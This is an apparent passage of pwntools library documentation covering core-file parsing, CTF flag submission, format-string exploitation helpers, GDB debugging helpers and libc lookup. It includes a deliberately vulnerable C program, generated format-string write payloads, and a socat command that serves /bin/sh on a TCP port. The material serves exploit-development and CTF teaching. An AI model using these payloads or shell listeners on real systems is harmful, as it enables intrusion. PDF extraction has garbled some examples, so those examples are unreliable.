 Mapping('/lib/i386-linux-gnu/ld-2.19.so', start=0xf7712000, stop=0xf7713000, ↵
↵size=0x1000, flags=0x4, page_offset=0x20),
 Mapping('/lib/i386-linux-gnu/ld-2.19.so', start=0xf7713000, stop=0xf7714000, ↵
↵size=0x1000, flags=0x6, page_offset=0x21),
 Mapping('[stack]', start=0xffff3e000, stop=0xffff61000, size=0x23000, flags=0x6, ↵
↵page_offset=0x0)]
```

Example

The Linux kernel may not overwrite an existing core-file.

```
>>> if os.path.exists('core'): os.unlink('core')
```

Let's build an example binary which should eat `R0=0xdeadbeef` and `PC=0xcafebabe`.

If we run the binary and then wait for it to exit, we can get its core file.

```
>>> context.clear(arch='arm')
>>> shellcode = shellcraft.mov('r0', 0xdeadbeef)
>>> shellcode += shellcraft.mov('r1', 0xcafebabe)
>>> shellcode += 'bx r1'
>>> address = 0x41410000
>>> elf = ELF.from_assembly(shellcode, vma=address)
>>> io = elf.process(env={'HELLO': 'WORLD'})
>>> io.poll(block=True)
-11
```

You can specify a full path a la `Corefile('/path/to/core')`, but you can also just access the `process.corefile` attribute.

```
>>> core = io.corefile
```

The core file has a `Corefile.exe` property, which is a `Mapping` object. Each mapping can be accessed with virtual addresses via subscript, or contents can be examined via the `Mapping.data` attribute.

```
>>> core.exe.address == address
True
```

The core file also has registers which can be accessed directly. Pseudo-registers `pc` and `sp` are available on all architectures, to make writing architecture-agnostic code more simple.

```
>>> core.pc == 0xcafebabe
True
>>> core.r0 == 0xdeadbeef
True
>>> core.sp == core.r13
True
```

We may not always know which signal caused the core dump, or what address caused a segmentation fault. Instead of accessing registers directly, we can also extract this information from the core dump.

On QEMU-generated core dumps, this information is unavailable, so we substitute the value of PC. In our example, that's correct anyway.

```
>>> core.fault_addr == 0xcafebabe
True
>>> core.signal
11
```

Core files can also be generated from running processes. This requires GDB to be installed, and can only be done with native processes. Getting a “complete” corefile requires GDB 7.11 or better.

```
>>> elf = ELF('/bin/bash')
>>> context.clear(binary=elf)
>>> io = process(elf.path, env={'HELLO': 'WORLD'})
>>> core = io.corefile
```

Data can also be extracted directly from the corefile.

```
>>> core.exe[elf.address:elf.address+4]
'\x7fELF'
>>> core.exe.data[:4]
'\x7fELF'
```

Various other mappings are available by name. On Linux, 32-bit Intel binaries should have a VDSO section. Since our ELF is statically linked, there is no `libc` which gets mapped.

```
>>> core.vdso.data[:4]
'\x7fELF'
>>> core.libc
Mapping('/lib/x86_64-linux-gnu/libc-...', ...)
```

The corefile also contains a `Corefile.stack` property, which gives us direct access to the stack contents. On Linux, the very top of the stack should contain two pointer-widths of NULL bytes, preceded by the NULL-terminated path to the executable (as passed via the first arg to `execve`).

```
>>> stack_end = core.exe.name
>>> stack_end += '\x00' * (1+8)
>>> core.stack.data.endswith(stack_end)
True
>>> len(core.stack.data) == core.stack.size
True
```

We can also directly access the environment variables and arguments.

```
>>> 'HELLO' in core.env
True
>>> core.getenv('HELLO')
'WORLD'
>>> core.argv
1
>>> core.argv[0] in core.stack
True
>>> core.string(core.argv[0]) == core.exe.path
True
```

Corefiles can also be pulled from remote machines via SSH!

```
>>> s = ssh('travis', 'example.pwnme')
>>> _ = s.set_working_directory()
>>> elf = ELF.from_assembly(shellcraft.trap())
>>> path = s.upload(elf.path)
>>> _ = s.chmod('+x', path)
>>> io = s.process(path)
>>> io.wait()
-1
>>> io.corefile.signal == signal.SIGTRAP
True
```

Make sure `fault_addr` synthesis works for amd64 on ret.

```
>>> context.clear(arch='amd64')
>>> elf = ELF.from_assembly('push 1234; ret')
>>> io = elf.process()
>>> io.wait()
>>> io.corefile.fault_addr
1234
```

Tests:

These are extra tests not meant to serve as examples.

`Corefile.getenv()` works correctly, even if the environment variable's value contains embedded '='.

Corefile is able to find the stack, even if the stack pointer doesn't point at the stack.

```
>>> elf = ELF.from_assembly(shellcraft.crash())
>>> io = elf.process(env={'FOO': 'BAR=BAZ'})
>>> io.wait()
>>> core = io.corefile
>>> core.getenv('FOO')
'BAR=BAZ'
>>> core.sp == 0
True
```

(continues on next page)

(continued from previous page)

```
>>> core.sp in core.stack
False
```

Corefile gracefully handles the stack being filled with garbage, including `argc` / `argv` / `envp` being overwritten.

```
>>> context.clear(arch='i386')
>>> assembly = '''
... LOOP:
...   mov dword ptr [esp], 0x41414141
...   pop eax
...   jmp LOOP
... '''
>>> elf = ELF.from_assembly(assembly)
>>> io = elf.process()
>>> io.wait()
>>> core = io.corefile
[!] End of the stack is corrupted, skipping stack parsing (got:
↳4141414141414141)
>>> core.argc, core.argv, core.env
(0, [], {})
>>> core.stack.data.endswith('AAAA')
True
>>> core.fault_addr == core.sp
True
```

debug (**a*, ***kw*)

Open the corefile under a debugger.

getenv (*name*) → int

Read an environment variable off the stack, and return its contents.

Parameters *name* (*str*) – Name of the environment variable to read.

Returns *str* – The contents of the environment variable.

Example

```
>>> elf = ELF.from_assembly(shellcraft.trap())
>>> io = elf.process(env={'GREETING': 'Hello!'})
>>> io.wait()
>>> io.corefile.getenv('GREETING')
'Hello!'
```

argc = None

Number of arguments passed

Type int

argc_address = None

Pointer to `argc` on the stack

Type int

argv = None

List of addresses of arguments on the stack.

Type list

argv_address = None

Pointer to argv on the stack

Type `int`

env = None

Environment variables read from the stack. Keys are the environment variable name, values are the memory address of the variable.

Note: Use with the `ELF.string()` method to extract them.

Note: If FOO=BAR is in the environment, self.env['FOO'] is the address of the string "BARx00".

Type `dict`

envp_address = None

Pointer to envp on the stack

Type `int`

exe

First mapping for the executable file.

Type `Mapping`

fault_addr

Address which generated the fault, for the signals SIGILL, SIGFPE, SIGSEGV, SIGBUS. This is only available in native core dumps created by the kernel. If the information is unavailable, this returns the address of the instruction pointer.

Example

```
>>> elf = ELF.from_assembly('mov eax, 0xdeadbeef; jmp eax', arch='i386')
>>> io = elf.process()
>>> io.wait()
>>> io.corefile.fault_addr == io.corefile.eax == 0xdeadbeef
True
```

Type `int`

libc

First mapping for libc.so

Type `Mapping`

mappings = None

Dictionary of memory mappings from address to name

Type `dict`

maps

A printable string which is similar to `/proc/xx/maps`.

```
>>> print Corefile('./core').maps
8048000-8049000 r-xp 1000 /home/user/pwntools/crash
8049000-804a000 r--p 1000 /home/user/pwntools/crash
804a000-804b000 rw-p 1000 /home/user/pwntools/crash
f7528000-f7529000 rw-p 1000 None
```

(continues on next page)

(continued from previous page)

```
f7529000-f76d1000 r-xp 1a8000 /lib/i386-linux-gnu/libc-2.19.so
f76d1000-f76d2000 ---p 1000 /lib/i386-linux-gnu/libc-2.19.so
f76d2000-f76d4000 r--p 2000 /lib/i386-linux-gnu/libc-2.19.so
f76d4000-f76d5000 rw-p 1000 /lib/i386-linux-gnu/libc-2.19.so
f76d5000-f76d8000 rw-p 3000 None
f76ef000-f76f1000 rw-p 2000 None
f76f1000-f76f2000 r-xp 1000 [vdso]
f76f2000-f7712000 r-xp 20000 /lib/i386-linux-gnu/ld-2.19.so
f7712000-f7713000 r--p 1000 /lib/i386-linux-gnu/ld-2.19.so
f7713000-f7714000 rw-p 1000 /lib/i386-linux-gnu/ld-2.19.so
fff3e000-fff61000 rw-p 23000 [stack]
```

Type `str`**pc**

The program counter for the Corefile

This is a cross-platform way to get e.g. `core.eip`, `core.rip`, etc.**Type** `int`**pid**

PID of the process which created the core dump.

Type `int`**ppid**

Parent PID of the process which created the core dump.

Type `int`**prpsinfo = None**

The NT_PRPSINFO object

prstatus = None

The NT_PRSTATUS object.

registers

All available registers in the core dump.

Example

```
>>> elf = ELF.from_assembly('mov eax, 0xdeadbeef;' + shellcraft.trap(), arch=
↳ 'i386')
>>> io = elf.process()
>>> io.wait()
>>> io.corefile.registers['eax'] == 0xdeadbeef
True
```

Type `dict`**siginfo = None**

The NT_SIGINFO object

signal

Signal which caused the core to be dumped.

Example

```
>>> elf = ELF.from_assembly(shellcraft.trap())
>>> io = elf.process()
>>> io.wait()
>>> io.corefile.signal == signal.SIGTRAP
True
```

```
>>> elf = ELF.from_assembly(shellcraft.crash())
>>> io = elf.process()
>>> io.wait()
>>> io.corefile.signal == signal.SIGSEGV
True
```

Type `int`

sp

The program counter for the Corefile

This is a cross-platform way to get e.g. `core.esp`, `core.rsp`, etc.

Type `int`

stack = None

Address of the stack base

Type `int`

vdso

Mapping for the vdso section

Type `Mapping`

vsyscall

Mapping for the vsyscall section

Type `Mapping`

vvar

Mapping for the vvar section

Type `Mapping`

class `pwnlib.elf.corefile.Mapping` (*core*, *name*, *start*, *stop*, *flags*, *page_offset*)

Encapsulates information about a memory mapping in a `Corefile`.

find (*sub*, *start=None*, *end=None*)

Similar to `str.find()` but works on our address space

rfind (*sub*, *start=None*, *end=None*)

Similar to `str.rfind()` but works on our address space

address

Alias for `Mapping.start`.

Type `int`

data

Memory of the mapping.

Type `str`

flags = None
Mapping flags, using e.g. PROT_READ and so on.
Type `int`

name = None
Name of the mapping, e.g. '/bin/bash' or '[vdso]'.
Type `str`

page_offset = None
Offset in pages in the mapped file
Type `int`

path
Alias for `Mapping.name`
Type `str`

permstr
Human-readable memory permission string, e.g. r-xp.
Type `str`

size = None
Size of the mapping, in bytes
Type `int`

start = None
First mapped byte in the mapping
Type `int`

stop = None
First byte after the end of hte mapping
Type `int`

2.12 pwnlib.exception — Pwnlib exceptions

exception `pwnlib.exception.PwnlibException(msg, reason=None, exit_code=None)`
Exception thrown by `pwnlib.log.error()`.

Pwnlib functions that encounters unrecoverable errors should call the `pwnlib.log.error()` function instead of throwing this exception directly.

bar

2.13 pwnlib.flag — CTF Flag Management

`pwnlib.flag.submit_flag(flag, exploit='unnamed-exploit', target='unknown-target', server='flag-submission-server', port='31337', proto='tcp', team='unknown-team')`
Submits a flag to the game server

Parameters

- **flag** (`str`) – The flag to submit.
- **exploit** (`str`) – Exploit identifier, optional

- **target** (*str*) – Target identifier, optional
- **server** (*str*) – Flag server host name, optional
- **port** (*int*) – Flag server port, optional
- **proto** (*str*) –

Optional arguments are inferred from the environment, or omitted if none is set.

Returns A string indicating the status of the key submission, or an error code.

Doctest:

```
>>> l = listen()
>>> _ = submit_flag('flag', server='localhost', port=l.lport)
>>> c = l.wait_for_connection()
>>> c.recvall().split()
['flag', 'unnamed-exploit', 'unknown-target', 'unknown-team']
```

2.14 pwnlib.fmtstr — Format string bug exploitation tools

Provide some tools to exploit format string bug

Examples

```
>>> program = tempfile.mktemp()
>>> source = program + ".c"
>>> write(source, '''
... #include <stdio.h>
... #include <stdlib.h>
... #include <unistd.h>
... #include <sys/mman.h>
... #define MEMORY_ADDRESS ((void*)0x11111000)
... #define MEMORY_SIZE 1024
... #define TARGET ((int *) 0x11111110)
... int main(int argc, char const *argv[])
... {
...     char buff[1024];
...     void *ptr = NULL;
...     int *my_var = TARGET;
...     ptr = mmap(MEMORY_ADDRESS, MEMORY_SIZE, PROT_READ|PROT_WRITE, MAP_
↳FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
...     if(ptr != MEMORY_ADDRESS)
...     {
...         perror("mmap");
...         return EXIT_FAILURE;
...     }
...     *my_var = 0x41414141;
...     write(1, &my_var, sizeof(int *));
...     scanf("%s", buff);
...     dprintf(2, buff);
...     write(1, my_var, sizeof(int));
...     return 0;
... }''')
>>> cmdline = ["gcc", source, "-Wno-format-security", "-m32", "-o", program]
```

(continues on next page)

(continued from previous page)

```

>>> process(cmdline).wait_for_close()
>>> def exec_fmt(payload):
...     p = process(program)
...     p.sendline(payload)
...     return p.recvall()
...
>>> autofmt = FmtStr(exec_fmt)
>>> offset = autofmt.offset
>>> p = process(program, stderr=PIPE)
>>> addr = unpack(p.recv(4))
>>> payload = fmtstr_payload(offset, {addr: 0x1337babe})
>>> p.sendline(payload)
>>> print hex(unpack(p.recv(4)))
0x1337babe

```

2.14.1 Example - Payload generation

```

# we want to do 3 writes
writes = {0x08041337: 0xbfffffff,
          0x08041337+4: 0x1337babe,
          0x08041337+8: 0xdeadbeef}

# the printf() call already writes some bytes
# for example :
# strcat(dest, "blabla :", 256);
# strcat(dest, your_input, 256);
# printf(dest);
# Here, numbwritten parameter must be 8
payload = fmtstr_payload(5, writes, numbwritten=8)

```

2.14.2 Example - Automated exploitation

```

# Assume a process that reads a string
# and gives this string as the first argument
# of a printf() call
# It do this indefinitely
p = process('./vulnerable')

# Function called in order to send a payload
def send_payload(payload):
    log.info("payload = %s" % repr(payload))
    p.sendline(payload)
    return p.recv()

# Create a FmtStr object and give to him the function
format_string = FmtStr(execute_fmt=send_payload)
format_string.write(0x0, 0x1337babe) # write 0x1337babe at 0x0
format_string.write(0x1337babe, 0x0) # write 0x0 at 0x1337babe
format_string.execute_writes()

```

class `pwnlib.fmtstr.FmtStr` (*execute_fmt*, *offset=None*, *padlen=0*, *numbwritten=0*)
 Provides an automated format string exploitation.

It takes a function which is called every time the automated process want to communicate with the vulnerable process. this function takes a parameter with the payload that you have to send to the vulnerable process and must return the process returns.

If the *offset* parameter is not given, then try to find the right offset by leaking stack data.

Parameters

- **execute_fmt** (*function*) – function to call for communicate with the vulnerable process
- **offset** (*int*) – the first formatter’s offset you control
- **padlen** (*int*) – size of the pad you want to add before the payload
- **numbwritten** (*int*) – number of already written bytes

Instantiates an object which try to automating exploit the vulnerable process

Parameters

- **execute_fmt** (*function*) – function to call for communicate with the vulnerable process
- **offset** (*int*) – the first formatter’s offset you control
- **padlen** (*int*) – size of the pad you want to add before the payload
- **numbwritten** (*int*) – number of already written bytes

execute_writes () → None

Makes payload and send it to the vulnerable process

Returns None

write (*addr, data*) → None

In order to tell : I want to write data at addr.

Parameters

- **addr** (*int*) – the address where you want to write
- **data** (*int*) – the data that you want to write addr

Returns None

Examples

```
>>> def send_fmt_payload(payload):
...     print repr(payload)
...
>>> f = FmtStr(send_fmt_payload, offset=5)
>>> f.write(0x08040506, 0x1337babe)
>>> f.execute_writes()
'\x06\x05\x04\x08\x07\x05\x04\x08\x08\x05\x04\x08\t\x05\x04\x08%174c%5$hhn
↪%252c%6$hhn%125c%7$hhn%220c%8$hhn'
```

`pwntools.fmtstr.FmtStr.payload` (*offset, writes, numbwritten=0, write_size='byte'*) → str

Makes payload with given parameter. It can generate payload for 32 or 64 bits architectures. The size of the addr is taken from `context.bits`

Parameters

- **offset** (*int*) – the first formatter’s offset you control

- `writes(dict)` – dict with `addr`, `value` {`addr: value`, `addr2: value2`}
- `numbwritten(int)` – number of byte already written by the `printf` function
- `write_size(str)` – must be `byte`, `short` or `int`. Tells if you want to write byte by byte, short by short or int by int (`hhn`, `hn` or `n`)

Returns The payload in order to do needed writes

Examples

```
>>> context.clear(arch = 'amd64')
>>> print repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='int'))
'\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00%322419374c%1$n
↳%3972547906c%2$n'
>>> print repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='short'))
↳'\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00
↳%47774c%1$hn%22649c%2$hn%60617c%3$hn%4$hn'
>>> print repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='byte'))
↳'\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00
↳%126c%1$hhn%252c%2$hhn%125c%3$hhn%220c%4$hhn%237c%5$hhn%6$hhn%7$hhn%8$hhn'
>>> context.clear(arch = 'i386')
>>> print repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='int'))
'\x00\x00\x00\x00%322419386c%1$n'
>>> print repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='short'))
'\x00\x00\x00\x00\x02\x00\x00\x00%47798c%1$hn%22649c%2$hn'
>>> print repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='byte'))
'\x00\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00%174c%1$hhn%252c
↳%2$hhn%125c%3$hhn%220c%4$hhn'
```

2.15 pwnlib.gdb — Working with GDB

During exploit development, it is frequently useful to debug the target binary under GDB.

Pwntools makes this easy-to-do with a handful of helper routines, designed to make your exploit-debug-update cycles much faster.

2.15.1 Useful Functions

- `attach()` - Attach to an existing process
- `debug()` - Start a new process under a debugger, stopped at the first instruction
- `debug_shellcode()` - Build a binary with the provided shellcode, and start it under a debugger

2.15.2 Debugging Tips

The `attach()` and `debug()` functions will likely be your bread and butter for debugging.

Both allow you to provide a script to pass to GDB when it is started, so that it can automatically set your breakpoints.

Attaching to Processes

To attach to an existing process, just use `attach()`. It is surprisingly versatile, and can attach to a `process` for simple binaries, or will automatically find the correct process to attach to for a forking server, if given a `remote` object.

Spawning New Processes

Attaching to processes with `attach()` is useful, but the state the process is in may vary. If you need to attach to a process very early, and debug it from the very first instruction (or even the start of `main`), you instead should use `debug()`.

When you use `debug()`, the return value is a `tube` object that you interact with exactly like normal.

2.15.3 Tips and Troubleshooting

NOPTTRACE magic argument

It's quite cumbersome to comment and un-comment lines containing `attach`.

You can cause these lines to be a no-op by running your script with the `NOPTTRACE` argument appended, or with `PWNLIB_NOPTTRACE=1` in the environment.

```
$ python exploit.py NOPTTRACE
[+] Starting local process '/bin/bash': Done
[!] Skipping debug attach since context.nopttrace==True
...
```

Kernel Yama ptrace_scope

The Linux kernel v3.4 introduced a security mechanism called `ptrace_scope`, which is intended to prevent processes from debugging each other unless there is a direct parent-child relationship.

This causes some issues with the normal Pwntools workflow, since the process heirarchy looks like this:

```
python ---> target
      |--> gdb
```

Note that `python` is the parent of `target`, not `gdb`.

In order to avoid this being a problem, Pwntools uses the function `prctl(PR_SET_PTRACER, PR_SET_PTRACER_ANY)`. This disables Yama for any processes launched by Pwntools via `process` or via `ssh.process()`.

Older versions of Pwntools did not perform the `prctl` step, and required that the Yama security feature was disabled systemwide, which requires `root` access.

Member Documentation

`pwnlib.gdb.attach(target, gdbscript = None, exe = None, arch = None, ssh = None) → None`

Start GDB in a new terminal and attach to `target`.

Parameters

- **target** – The target to attach to.
- **gdbscript** (*str* or *file*) – GDB script to run after attaching.
- **exe** (*str*) – The path of the target binary.
- **arch** (*str*) – Architecture of the target binary. If *exe* known GDB will detect the architecture automatically (if it is supported).
- **gdb_args** (*list*) – List of additional arguments to pass to GDB.
- **sysroot** (*str*) – Foreign-architecture sysroot, used for QEMU-emulated binaries and Android targets.

Returns PID of the GDB process (or the window which it is running in).

Notes

The `target` argument is very robust, and can be any of the following:

int PID of a process

str Process name. The youngest process is selected.

tuple Host, port pair of a listening `gdbserver`

process Process to connect to

sock Connected socket. The executable on the other end of the connection is attached to. Can be any socket type, including `listen` or `remote`.

ssh_channel Remote process spawned via `ssh.process()`. This will use the GDB installed on the remote machine. If a password is required to connect, the `sshpass` program must be installed.

Examples

```
# Attach directly to pid 1234
gdb.attach(1234)
```

```
# Attach to the youngest "bash" process
gdb.attach('bash')
```

```
# Start a process
bash = process('bash')

# Attach the debugger
gdb.attach(bash, '''
set follow-fork-mode child
break execve
continue
''')

# Interact with the process
bash.sendline('whoami')
```

```
# Start a forking server
server = process(['socat', 'tcp-listen:1234,fork,reuseaddr', 'exec:/bin/sh'])

# Connect to the server
io = remote('localhost', 1234)

# Connect the debugger to the server-spawned process
gdb.attach(io, '''
break exit
continue
''')

# Talk to the spawned 'sh'
io.sendline('exit')
```

```
# Connect to the SSH server
shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0',
↳port=2220)

# Start a process on the server
cat = shell.process(['cat'])

# Attach a debugger to it
gdb.attach(cat, '''
break exit
continue
''')

# Cause `cat` to exit
cat.close()
```

`pwnlib.gdb.binary()` → `str`

Returns `str` – Path to the appropriate gdb binary to use.

Example

```
>>> gdb.binary()
'/usr/bin/gdb'
```

`pwnlib.gdb.corefile(process)`

Drops a core file for the process.

Parameters `process` – Process to dump

Returns `Core` – The generated core file

`pwnlib.gdb.debug(args)` → `tube`

Launch a GDB server with the specified command line, and launches GDB to attach to it.

Parameters

- **args** (*list*) – Arguments to the process, similar to *process*.
- **gdbscript** (*str*) – GDB script to run.
- **exe** (*str*) – Path to the executable on disk
- **env** (*dict*) – Environment to start the binary in

- **ssh** (*ssh*) – Remote ssh session to use to launch the process.
- **sysroot** (*str*) – Foreign-architecture sysroot, used for QEMU-emulated binaries and Android targets.

Returns *process* or *ssh_channel* – A tube connected to the target process

Notes

The debugger is attached automatically, and you can debug everything from the very beginning. This requires that both `gdb` and `gdbserver` are installed on your machine.

When GDB opens via `debug()`, it will initially be stopped on the very first instruction of the dynamic linker (`ld.so`) for dynamically-linked binaries.

Only the target binary and the linker will be loaded in memory, so you cannot set breakpoints on shared library routines like `malloc` since `libc.so` has not even been loaded yet.

There are several ways to handle this:

1. **Set a breakpoint on the executable's entry point (generally, `_start`)**

- This is only invoked after all of the required shared libraries are loaded.
- You can generally get the address via the GDB command `info file`.

2. **Use pending breakpoints via `set breakpoint pending on`**

- This has the side-effect of setting breakpoints for **every** function which matches the name. For `malloc`, this will generally set a breakpoint in the executable's PLT, in the linker's internal `malloc`, and eventually in `libc`'s `malloc`.

3. **Wait for libraries to be loaded with `set stop-on-solib-event 1`**

- There is no way to stop on any specific library being loaded, and sometimes multiple libraries are loaded and only a single breakpoint is issued.
- Generally, you just add a few `continue` commands until things are set up the way you want it to be.

Examples

```
# Create a new process, and stop it at 'main'
io = gdb.debug('bash', '''
break main
continue
''')

# Send a command to Bash
io.sendline("echo hello")

# Interact with the process
io.interactive()
```

```
# Create a new process, and stop it at 'main'
io = gdb.debug('bash', '''
# Wait until we hit the main executable's entry point
break _start
```

(continues on next page)

(continued from previous page)

```

continue

# Now set breakpoint on shared library routines
break malloc
break free
continue
'''

# Send a command to Bash
io.sendline("echo hello")

# Interact with the process
io.interactive()

```

You can use `debug()` to spawn new processes on remote machines as well, by using the `ssh=` keyword to pass in your `ssh` instance.

```

# Connect to the SSH server
shell = ssh('passcode', 'pwnable.kr', 2222, password='guest')

# Start a process on the server
io = gdb.debug(['bash'],
               ssh=shell,
               gdbscript='')

break main
continue
'''

# Send a command to Bash
io.sendline("echo hello")

# Interact with the process
io.interactive()

```

`pwntools.gdb.debug_assembly(asm, gdbscript=None, vma=None) → tube`

Creates an ELF file, and launches it under a debugger.

This is identical to `debug_shellcode`, except that any defined symbols are available in GDB, and it saves you the explicit call to `asm()`.

Arguments: `asm(str)`: Assembly code to debug `gdbscript(str)`: Script to run in GDB `vma(int)`: Base address to load the shellcode at ****kwargs**: Override any `pwntools.context.context` values.

Returns: `process`

Example:

```
assembly = shellcraft.echo("Hello world!")
```

“) `io = gdb.debug_assembly(assembly) io.recvline()` # ‘Hello world!’

`pwntools.gdb.debug_shellcode(*a, **kw)`

Creates an ELF file, and launches it under a debugger.

Arguments: `data(str)`: Assembled shellcode bytes `gdbscript(str)`: Script to run in GDB `vma(int)`: Base address to load the shellcode at ****kwargs**: Override any `pwntools.context.context` values.

Returns: `process`

Example:

```
assembly = shellcraft.echo("Hello world!")
```

```
“) shellcode = asm(assembly) io = gdb.debug_shellcode(shellcode) io.recvline() # ‘Hello world!’
```

`pwntools.gdb.find_module_addresses` (`binary`, `ssh=None`, `ulimit=False`)

Cheat to find modules by using GDB.

We can't use `/proc/$pid/map` since some servers forbid it. This breaks `info proc` in GDB, but `info sharedlibrary` still works. Additionally, `info sharedlibrary` works on FreeBSD, which may not have procs enabled or accessible.

The output looks like this:

```
info proc mapping
process 13961
warning: unable to open /proc file '/proc/13961/maps'

info sharedlibrary
From      To      Syms Read  Shared Object Library
0xf7fdc820 0xf7ff505f Yes (*)    /lib/ld-linux.so.2
0xf7fbb650 0xf7fc79f8 Yes        /lib32/libpthread.so.0
0xf7e26f10 0xf7f5b51c Yes (*)    /lib32/libc.so.6
(*): Shared library is missing debugging information.
```

Note that the raw addresses provided by `info sharedlibrary` are actually the address of the `.text` segment, not the image base address.

This routine automates the entire process of:

1. Downloading the binaries from the remote server
2. Scraping GDB for the information
3. Loading each library into an ELF
4. Fixing up the base address vs. the `.text` segment address

Parameters

- **binary** (`str`) – Path to the binary on the remote server
- **ssh** (`pwntools.tubes.tube`) – SSH connection through which to load the libraries. If left as `None`, will use `pwntools.tubes.process.process`.
- **ulimit** (`bool`) – Set to `True` to run “`ulimit -s unlimited`” before GDB.

Returns A list of `pwntools.elf.ELF` objects, with correct base addresses.

Example:

```
>>> with context.local(log_level=9999) :
...     shell = ssh(host='bandit.labs.overthewire.org', user='bandit0', password=
↪ 'bandit0', port=2220)
```

(continues on next page)

(continued from previous page)

```
...     bash_libs = gdb.find_module_addresses('/bin/bash', shell)
>>> os.path.basename(bash_libs[0].path)
'libc.so.6'
>>> hex(bash_libs[0].symbols['system'])
'0x7ffff7634660'
```

`pwnlib.gdb.version(program='gdb')`
 Gets the current GDB version.

Note: Requires that GDB version meets the following format:

GNU gdb (GDB) 7.12

Returns *tuple* – A tuple containing the version numbers

Example

```
>>> (7,0) <= gdb.version() <= (8,0)
True
```

2.16 pwnlib.libcdb — Libc Database

Fetch a LIBC binary based on some heuristics.

`pwnlib.libcdb.get_build_id_offsets()`

Returns a list of file offsets where the Build ID should reside within an ELF file of the currently-elected architecture.

`pwnlib.libcdb.search_by_build_id(hex_encoded_id)`

Given a hex-encoded Build ID, attempt to download a matching libc from libcdb.

Parameters `hex_encoded_id(str)` – Hex-encoded Build ID (e.g. ‘ABCDEF...’) of the library

Returns Path to the downloaded library on disk, or `None`.

Examples

```
>>> filename = search_by_build_id('fe136e485814fee2268cf19e5c124ed0f73f4400')
>>> hex(ELF(filename).symbols.read)
'0xda260'
>>> None == search_by_build_id('XX')
True
```

`pwnlib.libcdb.search_by_sha1(hex_encoded_id)`

Given a hex-encoded sha1, attempt to download a matching libc from libcdb.

Parameters `hex_encoded_id(str)` – Hex-encoded Build ID (e.g. ‘ABCDEF...’) of the library

Returns Path to the downloaded library on disk, or `None`.

Examples

```
>>> filename = search_by_sha1('34471e355a5e71400b9d65e78d2cd6ce7fc49de5')
>>> hex(ELF(filename).symbols.read)
'0xda260'
>>> None == search_by_sha1('XX')
True
```

`pwnlib.libcldb.search_by_sha256(hex_encoded_id)`

Given a hex-encoded sha256, attempt to download a matching libc from libcdb.

Parameters `hex_encoded_id(str)` – Hex-encoded Build ID (e.g. ‘ABCDEF...’) of the library

Returns Path to the downloaded library on disk, or `None`.

Examples

```
>>> filename = search_by_sha256(
↳ '5e877a8272da934812d2d1f9ee94f73c77c790cbc5d8251f5322389fc9667f21')
>>> hex(ELF(filename).symbols.read)
'0xda260'
>>> None == search_by_sha256('XX')
True
```

`pwnlib.libcldb.search_by_md5(hex_encoded_id)`

Given a hex-encoded md5sum, attempt to download a matching libc from libcdb.

Parameters `hex_encoded_id(str)` – Hex-encoded Build ID (e.g. ‘ABCDEF...’) of the library

Returns Path to the downloaded library on disk, or `None`.

Examples

```
>>> filename = search_by_md5('7a71dafb87606f360043dcd638e411bd')
>>> hex(ELF(filename).symbols.read)
'0xda260'
>>> None == search_by_build_id('XX')
True
```

2.17 pwnlib.log — Logging stuff

Logging module for printing status during an exploit, and internally within pwntools.

2.17.1 Exploit Developers

By using the standard `from pwn import *`, an object named `log` will be inserted into the global namespace. You can use this to print out status messages during exploitation.

For example,:

```
log.info('Hello, world!')
```

prints:

```
[*] Hello, world!
```

Additionally, there are some nifty mechanisms for performing status updates on a running job (e.g. when brute-forcing):

```
p = log.progress('Working')
p.status('Reticulating splines')
time.sleep(1)
p.success('Got a shell!')
```

The verbosity of logging can be most easily controlled by setting `log_level` on the global context object:

```
log.info("No you see me")
context.log_level = 'error'
log.info("Now you don't")
```

The purpose of this attribute is to control what gets printed to the screen, not what gets emitted. This means that you can put all logging events into a log file, while only wanting to see a small subset of them on your screen.

2.17.2 Pwnlib Developers

A module-specific logger can be imported into the module via:

```
from pwnlib.log import getLogger
log = getLogger(__name__)
```

This provides an easy way to filter logging programmatically or via a configuration file for debugging.

When using `progress`, you should use the `with` keyword to manage scoping, to ensure the spinner stops if an exception is thrown.

2.17.3 Technical details

Familiarity with the `logging` module is assumed.

A pwnlib root logger named `'pwnlib'` is created and a custom handler and formatter is installed for it. The handler determines its logging level from `context.log_level`.

Ideally `context.log_level` should only affect which records will be emitted by the handler such that e.g. logging to a file will not be changed by it. But for performance reasons it is not feasible log everything in the normal case. In particular there are tight loops inside `pwnlib.tubes.tube`, which we would like to be able to debug, but if we are not debugging them, they should not spit out messages (even to a log file). For this reason there are a few places inside pwnlib, that will not even emit a record without `context.log_level` being set to `logging.DEBUG` or below.

Log records created by `Progress` and `Logger` objects will set `'pwnlib_msgtype'` on the `extra` field to signal which kind of message was generated. This information is used by the formatter to prepend a symbol to the message, e.g. `'[+] ' in '[+] got a shell!'`

This field is ignored when using the `logging` module's standard formatters.

All status updates (which are not dropped due to throttling) on progress loggers result in a log record being created. The `extra` field then carries a reference to the `Progress` logger as `'pwnlib_progress'`.

If the custom handler determines that `term.term_mode` is enabled, log records that have a `'pwnlib_progress'` in their `extra` field will not result in a message being emitted but rather an animated progress line (with a spinner!) being created. Note that other handlers will still see a meaningful log record.

The custom handler will only handle log records with a level of at least `context.log_level`. Thus if e.g. the level for the `'pwnlib.tubes.ssh'` is set to `'DEBUG'` no additional output will show up unless `context.log_level` is also set to `'DEBUG'`. Other handlers will however see the extra log records generated by the `'pwnlib.tubes.ssh'` logger.

`pwnlib.log.install_default_handler()`

Instantiates a *Handler* and *Formatter* and installs them for the `pwnlib` root logger. This function is automatically called from when importing `pwn`.

class `pwnlib.log.Progress` (*logger, msg, status, level, args, kwargs*)

